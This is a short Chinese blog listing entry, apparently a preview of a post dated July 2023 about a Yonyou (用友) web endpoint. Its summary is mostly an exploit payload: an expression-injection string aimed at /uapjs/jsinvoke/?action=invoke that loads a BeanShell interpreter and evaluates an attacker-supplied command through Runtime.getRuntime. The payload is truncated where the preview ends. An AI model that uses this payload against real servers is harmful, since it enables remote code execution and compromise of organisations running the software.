2023年7月16日
用友/uapjs/jsinvoke/?action=invoke
摘要： ${param.getClass().forName(param.bsh).newInstance().eval(param.cmd)} bsh=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime 阅读全文
posted @ 2023-07-16 23:14 匿名用户12 阅读(432) 评论(0) 推荐(0) 编辑